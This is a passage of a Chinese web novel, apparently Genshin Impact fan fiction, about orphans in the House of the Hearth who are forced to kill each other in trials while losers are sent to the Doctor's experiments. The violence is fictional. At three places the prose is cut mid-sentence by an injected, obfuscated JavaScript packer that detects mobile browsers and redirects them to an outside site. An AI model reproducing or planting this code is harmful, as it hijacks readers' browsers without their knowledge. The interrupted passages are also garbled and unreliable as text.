谢苗脸色一度十分难看,早知道就好好道别说再见。 瓦西里的床位被新加入的一个男孩占据,他比谢苗刚来时更小,才四岁。晚上起夜不敢自己一个人去尿尿,非要扯着谢苗一起。 谢苗:…… 午休时间他偷溜到小树林后去找瓦西里,把这事讲给他听,对方轻笑:“其实大家小时候都差不多,帕维尔以前也不敢自己上厕所,硬拉着我壮胆。” 现在的帕维尔每天睡得四仰八叉,谁知道他以前最怕黑。 谢苗骄傲:“我就不会。” “嗯,谢缪尔是我见过的最勇敢的弟弟。”瓦西里很高兴他能来看自己,训练弄出来的伤口都没那么痛了,“你要好好长大,谢缪尔。” “我很快就来找你。”谢苗如此承诺,“发生了什么事完全可以跟我说。” 虽然他觉得两年时间大概会让瓦西里有新的喜欢的弟弟,时间会让亲密的人走向陌生,但不妨碍他明白这个道理却依旧给出承诺。 瓦西里只是微笑。 瓦西里不和他们住一块后没人管他,帕维尔又是个疯玩的性子,谢苗完全独来独往了。 孩子们做游戏,他看书。孩子们写作业,他看书。孩子们看书的时候,他把加练的功课全部完成。 库嘉维娜对于他的自主学习成功表示满意,然后鼓励他:“好孩子,你还可以做得更好。” 然后推过来更厚的书籍。谢苗错眼一看,《高等机械动能学》《机械原理》《材料科学与基础》《材料力学》……随意翻开几页看作者署名,【博士】【木偶】……好奇怪的名字。 这是我一个七岁小孩该看的吗? 库嘉维娜笑容不改:“现在看不懂没关系,早日接触早了解。母亲相信你可以的。” “是,母亲大人。” 谢苗抱着一摞书回去到起居室,随手一本翻开看,沉默半天然后认命的找到许久不用的词典开始啃。 文科和理科常用词汇那根本就是一个天上一个地上,谢苗看得两眼一抹黑,基本上除了封面上的字能直接翻译,内容全靠词典。后来连普通的词典都靠不住,得用工科专业词典——话说真的有这个东西吗? 至少至冬没有,急得谢苗回去恶补文化课。 真是学海无涯苦作舟,谢苗每天两眼一睁就是对着书死磕,画图列公式然后计算,感觉和前生接触的专业书籍侧重点有些不太一样,但基础摆在这里,追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679235|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶上来不算难。等他终于把手头的书梳理了一遍知识脉络,已经是秋天了。 啊,好像有大半个月没去找瓦西里了。 小树林已经染上橘黄枫红赤金的颜色,远望如同一团燃烧着的火。谢苗踩着枯枝落叶穿过小径,再见到瓦西里时,对方的眼睛已经多了些什么。 “感觉已经很久没有看见你了。” “你感觉得没错,最近忙着消化新知识,18天没来没找你了。”谢苗耸肩无奈道,“倒是你,看上去很疲惫。” 瓦西里才搬过来半年,却好像已经多了好几年的人生经历。环境让他迅速成长,可谢苗现在还不明白到底是怎样的环境。 蓝眼睛的男孩叹气:“只是有些累了。” 他们坐在回廊的栏杆上掰面包喂鸽子。这些鸽子是用来通讯的信使,受惊不会乱飞,只能小树林后活动。 “你们的功课很难做吗?”谢苗记得以前瓦西里就能应付这些功课了,应该不是因为学业吧? 谁知道瓦西里点点头:“下个月就要进行一场检测成果的考试了。只有顺利通过才能继续留下。” “那不通过呢?” 瓦西里偏过头来看着谢苗蓝紫色的眼睛,半晌才说:“……会提前成为炉火的柴薪。” 沉默在他们之间蔓延。 “……虽然早感觉壁炉之家不太对劲,真知道答案还是会有些惊讶。”谢苗又不是听不懂人话的笨蛋,壁炉之家表面上是慈善机构,但和愚人军方扯上关系肯定没那么简单。养孩子千日用孩子一时,只要用得上,只要其中一个达成目标,那么上位者的付出将得到千百倍的回报。 “谍报机构?”他试探性询问,自己都不太自信。 瓦西里没有否认,但这已经是回答了。 谢苗心里最后一点妄想也破灭了。壁炉之家大概就是类似前世克格勃之类的机构吧,对外称孤儿院,实际上是情报局兼人才输出部。 瓦西里见他明白了,这才将小树林后红房子的孩子们的生活谁给他听:“九岁进入这里,经过半年的学习后开启一年一次的考核。不合格的会被送走,执行危险的任务,或者进入那位大人的实验室……你知道那位大人吗?” 他有点不太确定。 谢苗摇摇头,瓦西里倒是释然了:“你还小呢,不知道也正常。” “我们每天学习各国语言,至少要掌握三门才能合格。学习如何从各种渠道获取信息,并进行分析和整理。要求具备伪装和隐藏能力,能够在不同环境中融入。然后是武艺,母亲最擅长单手剑,教给我们的也是剑术居多。所以在大家还小的时候,提供的玩具里会有很多木剑。” 谢苗听到这里都觉得没什么问题:“那让你为难的是什么?”总之不会是这种层次的,瓦西里九岁以前就在有意识的接触这些了。 瓦西里没有直接回答,只是告诫他:“谢缪尔,和你现在的兄弟姐妹们保持一个安全的距离。” 谢苗奇怪的看了他一眼:“我只和你关系最好,然后就是帕维尔,你又不是不知道。” 本来他还挺喜欢莉兰的,不过小姑娘稍微大了一些就去和她的姐姐们玩了,谢苗那点爱心也就此止步。 谢苗不知道为什么听他说完这句话后,瓦西里露出一个比哭还难看的笑容。 5. 精神恐吓哒咩哟 库嘉维娜不是每天都能待在庄园里的。有时候她会连着出去半年甚至一年,只在关键考核期回到红房子里。所以至冬城这处壁炉之家的监管权被小幅度移交给了愚人众某位执行官名下,但那位执行官并不关心手里的孩子,每个月发下来的物资和库嘉维娜在时没有区别。庄园里的守卫各司其职,一切正常运作。 有时候不免感叹至冬机构内部结构的稳定,哪怕掌权者不在,也能够稳稳当当的运作下去。 瓦西里冰蓝的眼睛里倒映着壁炉之家燃烧的火焰,绰约跳动的火苗如同黑夜里的森森鬼影。他摸清了守卫排班规律,在谢苗九岁前疯狂给他开小灶,将自己所学几乎全部交给他。 “瓦西里,你在害怕。”谢苗九岁生日前夕,也就是他被登记加入壁炉之家的那天,瓦西里再次见到了谢苗。 至冬孩子的骨骼普遍厚重,九岁的小男孩已经长得不矮了。也许是因为书看得多,谢苗身上有种书券气,第一眼见到他的人会下意识给他贴上“文雅”“沉静”的标签。 瓦西里对于谢苗的变化看在眼里,他只是轻笑:“也许只是激动也说不定呢。” “我的微表情心理学是你教的,你确定要我当场叙述一下教学内容吗?”老实说谢苗这几年真的学了很多——一群小孩怎么要学这么多东西,他每次都是皱着眉完成超负荷的课业。 瓦西里:“好吧,骗不过你。我确实有些害怕。” 瓦西里说:“你明天就会搬进红房子里,看见真正的壁炉之家是什么样子。我害怕你看见它的真实之后——” “接受不了?”谢苗抢答。 瓦西里并不多言,只是点头。 “没什么不能接受的,瓦西里。壁炉之家和愚人众有着千丝万缕的联系,而任何一个国家和军方扯上关系的孤儿院都不会简单。”谢苗轻松道,“我心里有数的。” “真的吗?”瓦西里保持怀疑态度。 谢苗搬进红房子的时候是帕维尔来接的他:“瓦西里有任务不在,所以是我来。惊不惊喜?” “惊喜。” “表情多一点嘛。” 宿舍是标准的六人间,他们三个在一间宿舍,还有桌子可以放书本作业——一瞬间梦回大学。 “《初等枪械图解大全》……你还看这个啊。”帕维尔帮他把书整理放到书架上的时候粗粗翻了一遍,“是想当火铳手?” 谢苗头也不抬的整理柜子,他有很多手稿不适合放到上面的书架上:“这是母亲大人推荐的书,说我能做到。我不明白,大概是想让我手搓一把铳枪吧。” 这可太刑了,谢苗这辈子也算法外狂徒预备役了。 但也不是做不到,自制土枪只是违规违法又不是打不了。 “至冬的枪械管理还挺严格的,只有愚人众有合法持枪资格。不过我们跟愚人众也没什么区别,顺利出去的话,你摸到火铳甚至是枪械都只是时间问题。”帕维尔耸肩,“好了别看书了,我带你去逛一圈。” “这边难道是什么风景区吗?” “你以前跟瓦西里只在回廊那边玩过,还不知道训练场和实验室什么样子的吧?带你去看还不好,快说谢谢帕维尔哥哥。” “谢谢你啊。” “笑得好假 。” 帕维尔是个没心没肺的,只管完成课业加找人剑术训练。和每天都忧心未来的瓦西里相比,太通透潇洒了。 “只要考核期对手不是你们两个我就无所谓咯。”被问到怎么这么轻松,帕维尔如此说道,把卷了肉酱的面点往嘴里塞,“幸好咱们三个年龄不统一,一时半会打不到一块去。” 谢苗听了直挑眉:“只是打架的话,不会是这种得过且过的心态吧?” 帕维尔浑身一僵:“……我去看看厨房有没有你喜欢的土豆泥。” “好低劣的话题转移。”谢苗一把扯住帕维尔的后颈衣服领子,“瓦西里不在,你老实告诉我:考核到底是什么?” “打架咯。”帕维尔即答,摊开手很是无奈。 “不说真话,今晚我就把借到的药粉往你床铺和换洗衣物上洒。浑身发痒大笑不止,药效持续八个小时。” “你找哪个王八蛋借的药粉!”这他可忍不了。 “瓦西里柜子里的。”谢苗微笑,“我有他的柜子钥匙。” 帕维尔嘟囔着什么“这可不能怪我”“是你把我推给他的”,然后嘴像机关枪一样突突突把壁炉之家考核相关的事全部告诉给了谢苗。 其中最重要的一点是:“每次分配的对手都是在同龄家人里随机抽取。比试武艺,互相厮杀。当场死伤不论,就算落败方侥幸活下来,也会被送去【博士】的实验室,或者被安排危险的任务,成为随时可以抛弃的卒子*。” “谢苗,我搬进红房子里只有一年,但是已经有人死在我手里了。”而且就在加入半年后的那场考核里,当场身亡。 帕维尔忘不了那天母亲大人微笑着的脸,烛火映衬下狰狞无比好似吃人的恶鬼。 [做得好,我的孩子。只有胜者才能拥有一切。] 女人的声音笼罩住他的灵魂,跳动的烛火舔舐他的心脏。 谢苗的手松开,让对方得以喘息:“原来如此。只有赢家才能多出来一年的时间活着。” “要是运气好,输了去执行任务侥幸活下来,就直接被划分到愚人众先遣军当战场炮灰。暗杀潜伏那样的轻松活计都是留给赢家的。”帕维尔理了理衣服领子,一点也不生气,“瓦西里已经出过好几次任务了,母亲大人很看好他的毒杀手段。” 哪怕是为了更好的活着,许多人也会在考核过程中竭尽全力杀死对方。 “谢苗,他一定教过你不要轻信身边任何一个人,包括我们。” 谢苗若有所思。 “有点讽刺。明明在九岁以前我们接受的教育是亲朋手足互助互爱,结果九岁之后就要我们自相残杀互相争夺活下来的资格。”谢苗忍不住,“我开始讨厌她了。” 帕维尔吓得连忙捂住他的嘴:“你小声点!不要命啦?” “壁炉之家里,母亲大人的一切都不容许忤逆。她喜欢乖孩子,我们想要活下来就必须成为乖孩子,明白吗?”帕维尔低声告诫,“不满也只能藏在心里,不要和母亲大人对视。眼睛是会出卖你真实想法的。” 从小接受的教育让壁炉之家的孩子服从【母亲】的一切指令,树立【母亲】的绝对威严。哪怕那些命令被甜美的温柔乡包装得恍若蜜糖,可生来便信赖母亲,被日复一日的洗脑教育得乖顺的孩子们不会拒绝。要他们兄友弟恭的时候就得相亲相爱,要他们反目相残的时候就得不遗余力。 哪怕是谢苗,在经历了一个多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679236|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的风雪夜长途跋涉风餐露宿后,也会对温柔的【母亲】不设心防的接纳。要不是他成人的心智摆在那里,反PUA话术吸烟刻肺,心知成年人的世界里没有无缘无故的索求,在后续相处中留了个心眼。不然真像帕维尔和瓦西里那样没有任何防备的接触到壁炉之家逐渐显露的真实模样,他也要道心破碎了。 一个孩子,他的全部信息渠道皆源周围环境。哪怕是现代社会,孩子们汲取信息的渠道也是家庭和互联网大数据推送。环境后天塑造孩子的品性和心智,你不能强求一个孩子生而知之他生活环境以外的,他接触不到的知识和道理。 壁炉之家培养孤儿很好的利用了信息,让恐惧在红房子每个孩子之间流淌。每个人都知道输了就意味着死,于是每一场考核都会竭尽全力赌上一切,由此成为上位者眼中值得赞扬的“乖孩子”。 一个被灌输“母亲的命令不容置喙”道理的孩子,要怎样才能升起反抗母亲的心思? 谢苗也不知道。 瓦西里执行任务回来后养了好几天的伤,说是为了拷问情报下药的剂量轻了点,叫任务对象找到刀具反抗了一会。 帕维尔给他换药的时候,老实的把自己一下子秃噜干净的事跟他说了,瓦西里只是无奈:“他迟早会知道的。” 库嘉维娜在夏天回到了至冬,传授给新加入红房子的孩子们武艺。谢苗学得最好的是剑术,练习成绩一直都是同龄人中的佼佼者。 库嘉维娜一点也不意外,只是用赞许的眼神鼓励他:“你还可以做得更好,孩子。” 有时候就连帕维尔也会捏捏他的手臂:“明明都是吃一样的东西,我每天还比你多练一个小时,怎么肌肉就是没你壮?” “……遗传基因?”谢苗推测可能是他那个牺牲的上尉老妈卓娅身体素质远超常人,连带着遗传她基因的谢苗也拥有了强悍的体格。 如果忽略他刚穿来时这具身体差点因为高烧和厚重被子二次死亡的话…… 不过,都是发过高烧死过一次的身体,按理来说会留下呼吸道和肺部疾病。但是他现在身体倍棒吃饭倍香,这种强悍的身体康复能力也是因为遗传吗? 亲爱的卓娅·雪奈茨芙娜上尉,你真是谜一样的女子。 至于叶菲姆中尉老爹,目前没几个人跟谢苗提起他,美美隐身了。 时间很快来到半年后的考核期,库嘉维娜如约而至,她胸前还别着一朵虹彩蔷薇花,那是水之国枫丹的特产。 谢苗的对手是和他同院过的一个孩子,大大的眼睛十分明亮,就像黑夜中的星星。 他不记得对方的名字,因为他不怎么和瓦西里帕维尔莉兰以外的孩子交流。但是对方显然记得他,高高兴兴的叫他:“谢缪尔哥哥。” 啊,是了,他比自己晚一点搬进红房子。但是谢苗没有留手,几个回合之后持剑放在对方颈侧,脸上没什么表情,熟悉他的瓦西里甚至知道他现在心情还不错。 “我赢了。” 库嘉维娜微笑颔首:“做得很好。期待下一年的再见,谢苗。” 谢苗忍不住打了个激灵。 好可怕的感觉,好像被毒蛇盯上了一样。 他转过身去走到哥哥们中间,也就不知道库嘉维娜注视着他的背影,目光玩味。好像在评估某件器具,某个商品,为物品的价值涨高而愉悦。 6. 无人能衡量生命的重量 在考核中落败的那个孩子没过几天就悄无声息的消失在了壁炉之家。 谢苗发现这一点的时候已经过去了一个星期,瓦西里也终于肯告诉他所谓“送给那位大人”是什么意思。 愚人众是至冬国的军队组织,愚人众执行官不仅是军方高级将领,也是政治层面的长官。以席位定高低,其中第二席【博士】是有名的学者,名下有许多实验室。在考核里落败的,又没有能力出任务的孩子就会被送进去接受实验,榨干最后一点价值。 “你是从哪里知道的?”谢苗一听到实验这个单词就毛骨悚然,他心知但凡和军方扯上的儿童实验就没有不违背人伦常理的。 瓦西里:“你还记得几年前我第一次带你来这里找人借图书馆借书证的时候吗?” 谢苗点点头。 “当年那个十三岁的男孩已经离开了家,他被分派到本国监视一个大贵族。他回来的消息有提到让我们远离【博士】,人命于他而言不过是培养皿。”瓦西里深呼吸一口气,“我们太弱小了,无法抗拒上头大人们的命令,只能遵守他们的游戏规则。但是谢缪尔。” “弱小者也有自己的生存方式,你要活下来,就得赢,明白吗?绝对不要对任何人心软。合格的间谍是不会动情的,上一秒亲如手足兄弟,下一秒就能把刀子插进心窝。”瓦西里看着他蓝紫色的眼睛又重复一遍,“不要对任何人心软。” 谢苗:“我才不会,我的心可硬了。” 瓦西里:“不,你是个心软的孩子。你对【家】有着近乎本能的眷念,你珍爱着【家人】,对吗?” 瓦西里:“你和帕维尔的微表情心理学分析都是我手把手教的,骗不过我。” 谢苗低头,但对方强硬的捧着他的脸让两双眼睛对上视线。 瓦西里几乎是恳求道:“不要心软,谢缪尔。” 谢苗不知道瓦西里的恐惧源自何处,但在对方的强硬要求下还是做出了保证。 很快时间来到一年后,红房子里和瓦西里同年龄的两个女孩被选为彼此的对手。 在母亲库嘉维娜的微笑注视下,曾经亲如姐妹的女孩们颤抖着握住匕首和剑,在大家的围观中迟迟不肯下手。 “为什么不动手呢?”库嘉维娜双手握着长鞭,发丝后是弯弯的笑眼,“你以为你们还是好姐妹吗?” 女孩们惨白的脸上是清晰可见的恐惧,其中一个大一些的姐姐摇着头,哪怕双手握着匕首都克制不住的颤抖:“不……我——” 库嘉维娜打断她的话继续说:“在你们九岁前,我要求你们相亲相爱。可是你们已经不是需要呵护的,脆弱的稚子了。你们是至冬国战士的预备役,你们中的胜利者会成为至冬的眼睛,搜集资料、传递情报、掩护军队、执行计划……孩子们,这不是手足相残,这是为至冬效力的必经之路啊。” 从小接受爱国教育的姐妹俩明显出现动摇神色,在场其他孩子也不例外。 至于谢苗,他完全是被这个理论震惊到了。 “让你们相亲相爱,是方便你们顺利的融入任务国家,去结交任务对象取得信任。叫你们兵戈相见,是为了让你们认清自己的使命与责任。合格的间谍就连付出的真心都只是想让任务对象看见的【真心】。可惜你们还太稚嫩,无法在需要时收回这颗真假参半的【心】。” 库嘉维娜轻笑:“将【心】交给他人,可是要吃大苦头的。你们的哥哥姐姐里不乏有人在执行任务时被花言巧语蒙骗,被诱哄着抛下身份抛弃任务忘却效忠的祖国,和人私奔。以为那样就能拥有一个不一样的家。呵。” “被抓住后割掉舌头,挖去眼睛,挑断手筋脚筋,这都只是轻松的好下场。更残忍的,母亲由衷的希望你们一辈子都不知道。”库嘉维娜神色哀悯,怜爱的抚摸姐妹俩的脸颊,“所以啊,不要将【心】真正的交付出去。现在就是你们学会收放的第一步。站在你面前的是你的敌人,用你所学在对战中取得胜利。” 壁炉之家的母亲宣称:“死伤不论,壁炉之家只属于胜者。” 谢苗清清楚楚的看见妹妹的瞳孔因为受到刺激在一瞬间变得狭小,仅仅一个呼吸的时间后,她握着剑单手向姐姐挥舞而去。 利刃扎进血肉的声音谢苗这辈子也忘不了,他闭上眼睛,可以想象到飙射的猩红血液溅落在女孩的脸上、手上和衣服上。 四下死寂,兵器掉落在地的脆响清晰得像敲打在心头。随着一方倒地的声音响起,这场博弈终究是落下了帷幕。 倒下的是妹妹,这让谢苗吃惊,他以为会是…… “她一只手挥剑做出攻击的假象,一只手把她姐姐的匕首往自己身上扎。”帕维尔给刚刚闭上眼不忍心看的谢苗讲述过程,声音压得极低,“她姐姐被吓坏了,反应过来后才把匕首甩开去抱她。” 库嘉维娜居高临下的俯视这对姐妹,抬手让守卫将她们拖下去,把场地空出给下一组对手:“软弱的奉献羔羊不是家需要的成员,她被淘汰了。希望你们不会让我再看到这种情况发生,好吗?” 下一个上场的孩子说:“遵命,母亲大人。” 然后将对手捅了个透心凉,当场毙命。 库嘉维娜对此的表态是微笑着抬手擦去他脸上的血污:“好孩子,做得很棒。下次记得要用更干净体面的方式,记住了吗?” 那孩子只是机械而呆板的重复说:“遵命,母亲大人。” 他被恐惧攥住了灵魂,只会服从库嘉维娜的一切命令。 又一具尸体被拖下去,库嘉维娜慢条斯理的在名单上勾画:“下一组:瓦西里,安东。” 这次轮到谢苗的心被高高挂起了。 安东是优秀的战士预备役,剑术训练时长一直都是他们这一批里最高的。瓦西里做不到像前几次那样轻松取胜,只能一遍遍的格挡疾风骤雨般的进攻节奏,寻找破解的机会。 幸而瓦西里耐力一流,硬是耗到了安东进攻的力竭阶段,反手挑刺手腕,破开安东粗劣的防守,将剑刺进对方的手臂,成功制造出一道伤口,接着抓住机会步步紧逼,一剑打飞安东的武器,抵住他喉咙后气喘吁吁:“我赢了。” 库嘉维娜点头赞许:“非常标准的持久力比拼,做的很好,瓦西里。下去擦擦汗吧。” 瓦西里离开场地中心后靠在帕维尔肩上放松:“帕维尔,快到你了。” “我没事,能赢的。”帕维尔的自信不是空穴来风,他在同阶段里确实是各方面数据都优秀。在瓦西里那一年的比完后轮到帕维尔上场,对手是个明显的瘦个子,轻轻松松毫无悬念拿下胜利。 谢苗对于这个匹配机制无话可说。 轮到他上场的时候,库嘉维娜因为长时间的观 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“现在面对的是对手,以后就是敌人。对敌人的任何一丝怜悯都是对未来自己的残忍。不要给敌人有反抗的机会,明白吗?” 对面的孩子脸上满是绝望。 谢苗面无表情的将剑刺穿对方常用手的手腕,断绝他康复后再拿剑的可能。 这样就行了吧? 库嘉维娜不置可否的挑眉,虽然没有达到她预想中的标准,但也能算通过。 只有瓦西里轻声叹气。果然还是心软啊,母亲大人想要的是杀死对方,而不是刺穿手腕挑断手筋这样轻松的结果。 可是谢缪尔,就算你现在放过了他。但拿不起剑的孩子的下场绝不会比直接死去更好。 谢苗读得懂瓦西里目光中的含义,他低下头去攥紧了剑柄。 当天晚上,帕维尔睡得四仰八叉直打呼,瓦西里带着睡不着的谢苗穿过寂静无人的长廊,趴在小阁楼那扇窗户边往外看。一队守卫将白日考核产生的尸体蒙上白布,用担架担着送出去。 谢苗数了又数,十个担架:“怎么多一个?” 明明重伤和当场死亡的人数加起来只有九个。 寒冷黑夜里只有彼此的体温昭示着活着的温度,瓦西里的声音轻轻的,比春日融化冰河的风还要柔软,可是听者浑身发寒:“你刺伤的那个男孩回去后就拿刀自刎了。” “为什么?”谢苗怀揣着微弱的希望,期待对方可以在外派的任务中活下来。但现实给他当头一棒,叫他不得不直面比文字更加血淋淋的真实。 “他拿不起剑,用不了绝大多数武器。对于母亲大人来说,养伤的支出虽然不多,但用在注定成为柴薪的孩子身上纯粹是浪费。他也很清楚,与其被送去当做消耗品,不如选择自己结束生命。”瓦西里注视着弟弟的眼睛,黑夜里的那片蓝紫色亮晶晶的,恍若波光粼粼的湖。 “别哭,谢缪尔。” “记住大家用性命告诫你的话,不要对任何人心软。”瓦西里和他额头相抵,“我不想我的弟弟也被蒙上白布送去焚尸炉。” “我想你活着,我想你好好的活着。无论是你还是帕维尔。” 谢苗说:“好。” 没有什么比亲自看见选择带来的结果更残忍的了,迟钝的大人终于有了万事不由己的实感。 亲爱的谢缪尔,这不是一本童话故事。 7. 开出基因隐藏盲盒 十岁的考核后,谢苗恢复了白天练剑晚上画图的规律生活。 帕维尔对他的画稿琢磨过好半天,直截了当宣布:“看不懂。” “你看得懂才见鬼。”因为这是谢苗根据前生对枪械记忆复刻出来的基础枪械图纸,加上今生所学,基本摸清了几款常用枪械类型的内部构造。 绝大多数枪械发射子弹是扣动扳机撞针压燃子弹底火,子弹里火药燃烧使空气迅速爆炸膨胀,产生的动能把弹头顶出去,所以本质是靠压缩空气。当然,这是前生社会的枪械版本,现在至冬的普遍枪械水平还停留在铳枪阶段。 目前可以升级为燧发枪,就是利用击锤上的碎石撞击产生火花引燃火药。要是技术更成熟些,后装弹式火枪火更好。 当然,他现在搓不出来复杂的。 等等,我怎么又想了这么多。 每天都觉得自己活得越来越刑的谢苗说:“壁炉之家执行暗杀任务用枪械会更顺利些吧。”毕竟远距离射程可以保证暗杀者一定程度上的安全。狙击枪啊狙击枪,你什么时候才能被军中的科研大佬弄出来。 瓦西里对他的研究有些了解:“目前军中推广的只有铳枪。火铳手虽然可以远距离射击,但每发子弹都是利用火元素邪眼制作然后填充。想要做到你预想中的瞬发很难,火元素的不稳定性让铳枪很容易炸膛。”这也是燧发枪没有大批量使用的原因。 这个世界拥有神奇的力量:元素力。风岩雷草水火冰,一共七种,和七个国家神明的神座相对应。人类中也有部分人可以如神明和长生种那样引导驱使元素力,只因为他们获得了外置魔力器官——神之眼。神之眼的拥有者只占极少部分,却让他们成为七神统治体系最坚实的拥护。 毕竟,受神认可者才能获得神之眼。这相当于提瓦特人的常识。 谢苗自然也知道。 邪眼则是至冬的执行官【博士】大人多年前的一个跨时代的发明。邪眼拥有者一样可以驱使元素力,只是对身体素质的要求更高。 这很好接受嘛,毕竟人造的外置魔力器官需要更强悍的躯体承载。至冬的军队因为大规模的装备的邪眼,战斗力傲视诸国。 实力是最大的底气,据说愚人众在七国间的风评都不怎么好,就是因为从上到下一脉相承的趾高气昂。 思绪拉回来,谢苗琢磨着:“如果火元素不稳定,换其他元素充当子弹怎么样。” “你想得到的,上头大人们自然也想得到啦。”帕维尔翻身上床,“建议多看《基础元素论》,我发现你在这方面的知识真是有够薄弱的。” 经常自己做实验调配药剂的瓦西里直接解释:“七元素的优化特性不一样,火对应攻击,水对应生命,风是冷却缩减,岩是防御,雷是充能,草是精通,冰特殊一些,对应的是暴击。” “只考虑伤害最大化,火元素理所应当是最优选择。其次是风元素和冰元素。但风元素的特性决定了它必须要有其他元素作为辅助进行扩散反应。冰元素和水火雷风进行元素伤害更高。又因为冰元素的优先性低,很多时候都被火□□三元素抢去了反应,反向打工。军队里也有冰铳,不过主要职责是散布冰元素延缓敌人速度。”瓦西里侃侃而谈,“单纯制作子弹发射也不是不行,只是效率不高,又对精确性有要求。综合考虑下不如和攻击力绑定的火元素适合用作铳枪子弹附魔。” “瓦西里老师,受教了。”躺在床上的帕维尔听得津津有味。 谢苗低头继续琢磨。可能还是装备跟不上的问题,他总觉得冰元素的射击效果不会比火铳差到哪里去。 脑海中有很多设想,只是没有实现的机会和材料,无奈作罢。 谢苗十一岁那年夏天,庄园里绿意盎然。库嘉维娜从遥远的枫丹赶回至冬参加执行官会议。每位执行官都有自己的任务,聚少离多,但这并不妨碍他们见面就互喷。 库嘉维娜完全不介意自己被同僚称为蛇蝎心肠口蜜腹剑的恶女,甚至把这当做嘉奖。 照常忽略第六席的冷嘲热讽,库嘉维娜找到二席要来了最新的实验数据,一边翻看一边交流下次送去的试验品年龄区间。 因为合作关系,库嘉维娜和博士的交情称得上一句不错。很愉悦的就决定了一批孩子的生死。 “十到十二岁的儿童,身体潜力刚刚崭露头角,就这样在你的[选王计划]里折戟九成,你对[王]的要求很高啊。”博士想起实验室里似乎永远不会缺少的实验受体,“什么时候才能见到成效。” 让他看看还有多少年的富裕实验素材可用。 库嘉维娜:“枫丹据点里的孩子最年长的已经有十四岁。再过两年,就能在考核期决出[王]来。你还有充足的时间完成手头的实验项目,博士。” 她不可能再用十年时间进行下一轮的[选王计划],光是现在的死亡数据就让女皇陛下和民间的声音隐隐有叫停的意思。 库嘉维娜不在乎民间对于大量孤儿“意外死亡”有什么看法,但让女皇陛下皱眉并非她所愿。[选王计划]也只是为了选出一位合格的[王]而已。只要在十六岁的考核中选出新王,她的实验就是成功的。 佩露薇利那个孩子是目前来说胜率最高的…… “你对自己亲生的孩子就这么不看好?”博士这个切片没有戴面具,脸上是清晰可见的玩味笑容,“像你这样的母亲在自然界也属于少见的那一类,我还挺感兴趣的。” “那孩子仍旧怀揣无用的白日梦妄想,尽管脑子很聪明,但也止步于此了。纵然留着我的血脉,但不合适就是不合适。成王的资格是靠她自己争取的。” “看来她没有遗传到你的冷血,真遗憾。我还以为母死女继,能和你这一脉达成更稳定的合作。” “……说起遗传,博士。接受过[活体兵械]计划实验的受体,能够把血脉中被改造过的因子遗传给下一代吗?” “[活体兵械]?原来你还记得这个项目。那是另一个切片负责的,本体让他去做坎瑞亚其他项目了,具体实验成果得问他或者本体。”博士摊手,“不过,根据我多年实验经验来看,受体二代哪怕继承了一代的力量,身体也有极高概率会出现基因病早夭。如果中了基因彩票没有患病平安长大活过十二岁——发现了请务必交给我,作为交换:下一批新药上市,我愿意分你二成利润。” 库嘉维娜单挑眉。 今年的考核期,不知为何库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679238|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉维娜看向自己的视线越来越频繁了。 谢苗轻松的将这次的对手当场反杀,回到人群中后摸摸胸口,刚刚心脏在狂跳,怎么回事?亲手杀人对他来说后劲这么大的吗? 我居然是这么纯良的人设吗? 库嘉维娜微笑着注视着他的背影:动手干净利落,相比去年进步太多,是个好苗子。 谢苗捂住胸口:又来了,这种被蟒蛇盯上的感觉。 考核结束后,库嘉维娜并没有向往年那样回到枫丹,而是留在庄园紧盯手头优秀学生的功课。 可能是为了维持温柔和蔼的孤儿院院长形象,库嘉维娜大张旗鼓的搞了场体检,当天有记者在庄园里拍照,为库嘉维娜爱心人士的形象维持出了大力气。 而谢苗一边阴谋论这会不会是给哪个高层匹配移植器官,一边好奇自己的身体数据。或许从前库嘉维娜对他的格外关注就和这具身体血缘遗传的秘密有关。 可惜最后发到手里的体检报告显示他一切指标都在正常区间范围内,壮得跟头牛犊似的。 放下心来的谢苗又美滋滋的吃午餐。今年的樱桃大丰收,厨子熬了很多樱桃酱做馅饼,可把谢苗美坏了,近日被迫亲手杀人的郁气都消散不少。 帕维尔更喜欢肉馅,嫌弃的把甜津津的馅饼分给他。 谢苗:“你那碗土豆泥也给我呗。”至冬的土豆泥会加牛奶,吃着有股甜味,他还挺喜欢的。 瓦西里用勺子敲敲餐盘边缘提醒他们二位注意一下:“帕维尔,不喜欢甜馅饼但要多吃蔬菜。谢缪尔,你今天的糖份摄入已经过量了,吃完这块不许再吃。” 两人闷头吃饭,什么反抗念头都不敢有。 此时,拿到了谢苗真正的体检报告单的库嘉维娜正坐马车前往同僚博士的实验室。 “博士,实验多余的边角料还有吗?” “之前你跟切片提到过的那个实验?”多托雷被找上门来的时候,手中正匀速摇晃试剂,期待它的反应成果,“在那边,你知道怎么用吧。” “……” 